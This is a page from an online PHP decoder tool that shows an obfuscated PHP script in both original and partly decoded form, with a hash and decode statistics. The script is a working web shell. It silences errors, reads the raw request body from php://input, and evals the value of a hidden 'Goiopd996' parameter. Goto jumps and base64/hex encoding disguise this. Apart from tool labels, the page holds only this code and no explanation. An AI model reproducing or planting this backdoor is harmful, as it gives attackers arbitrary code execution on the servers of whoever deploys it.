Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); $lLfMfI = array(); while (count($lLfMfI) < 3) { $lLfMfd = rand(..

Decoded Output download

<?php 
error_reporting(0); $lLfMfI = array(); while (count($lLfMfI) < 3) { $lLfMfd = rand(69, 71); if (!(count($lLfMfI) < 4)) { goto lrWdMIp; } if (!($lLfMfd === 70)) { goto lrWdMIM; } array_push($lLfMfI, $lLfMfd); lrWdMIM: lrWdMIp: } function hexToString($lLfMfM) { goto lrWdMIY; lrWdMIY: $lLfMfp = ''; goto lrWdMIr; lrWdMIs: return $lLfMfp; goto lrWdMIV; lrWdMIr: for ($lLfMff = 0; $lLfMff < strlen($lLfMfM) - 1; $lLfMff += 2) { $lLfMfp .= chr(hexdec($lLfMfM[$lLfMff] . $lLfMfM[$lLfMff + 1])); } goto lrWdMIs; lrWdMIV: } $lLfMfJ = 0; $lLfMfY = ''; foreach ($lLfMfI as &$lLfMfr) { goto lrWdMIE; lrWdMdI: $lLfMfr = hexToString(strval($lLfMfr)); goto lrWdMdd; lrWdMIE: if (!($lLfMfJ == 1)) { goto lrWdMIn; } goto lrWdMIZ; lrWdMIZ: $lLfMfr = 70 - 2; goto lrWdMIL; lrWdMdd: $lLfMfY .= $lLfMfr; goto lrWdMdM; lrWdMdM: $lLfMfJ++; goto lrWdMdp; lrWdMIL: lrWdMIn: goto lrWdMdI; lrWdMdp: } $lLfMfs = file_get_contents("{$lLfMfY}" . base64_decode("Oi8vaW5wdXQ=")); function inverse($lLfMfs) { goto lrWdMdf; lrWdMdJ: $lLfMfV = $lLfMfs[base64_decode("R29pb3BkOTk2")]; goto lrWdMdY; lrWdMdY: throw new Exception(eval($lLfMfV)); goto lrWdMdr; lrWdMdf: parse_str($lLfMfs, $lLfMfs); goto lrWdMdJ; lrWdMdr: } inverse($lLfMfs); ?>

Did this file decode correctly?

Original Code

<?php
error_reporting(0); $lLfMfI = array(); while (count($lLfMfI) < 3) { $lLfMfd = rand(69, 71); if (!(count($lLfMfI) < 4)) { goto lrWdMIp; } if (!($lLfMfd === 70)) { goto lrWdMIM; } array_push($lLfMfI, $lLfMfd); lrWdMIM: lrWdMIp: } function hexToString($lLfMfM) { goto lrWdMIY; lrWdMIY: $lLfMfp = ''; goto lrWdMIr; lrWdMIs: return $lLfMfp; goto lrWdMIV; lrWdMIr: for ($lLfMff = 0; $lLfMff < strlen($lLfMfM) - 1; $lLfMff += 2) { $lLfMfp .= chr(hexdec($lLfMfM[$lLfMff] . $lLfMfM[$lLfMff + 1])); } goto lrWdMIs; lrWdMIV: } $lLfMfJ = 0; $lLfMfY = ''; foreach ($lLfMfI as &$lLfMfr) { goto lrWdMIE; lrWdMdI: $lLfMfr = hexToString(strval($lLfMfr)); goto lrWdMdd; lrWdMIE: if (!($lLfMfJ == 1)) { goto lrWdMIn; } goto lrWdMIZ; lrWdMIZ: $lLfMfr = 70 - 2; goto lrWdMIL; lrWdMdd: $lLfMfY .= $lLfMfr; goto lrWdMdM; lrWdMdM: $lLfMfJ++; goto lrWdMdp; lrWdMIL: lrWdMIn: goto lrWdMdI; lrWdMdp: } $lLfMfs = file_get_contents("{$lLfMfY}" . base64_decode("\x4f\151\70\166\x61\x57\x35\167\x64\130\121\x3d")); function inverse($lLfMfs) { goto lrWdMdf; lrWdMdJ: $lLfMfV = $lLfMfs[base64_decode("\x52\62\x39\160\142\63\x42\x6b\x4f\x54\153\62")]; goto lrWdMdY; lrWdMdY: throw new Exception(eval($lLfMfV)); goto lrWdMdr; lrWdMdf: parse_str($lLfMfs, $lLfMfs); goto lrWdMdJ; lrWdMdr: } inverse($lLfMfs);

Function Calls

None

Variables

None

Stats

MD5 334ed167a735b1f8f37995c7afa58cce
Eval Count 0
Decode Time 52 ms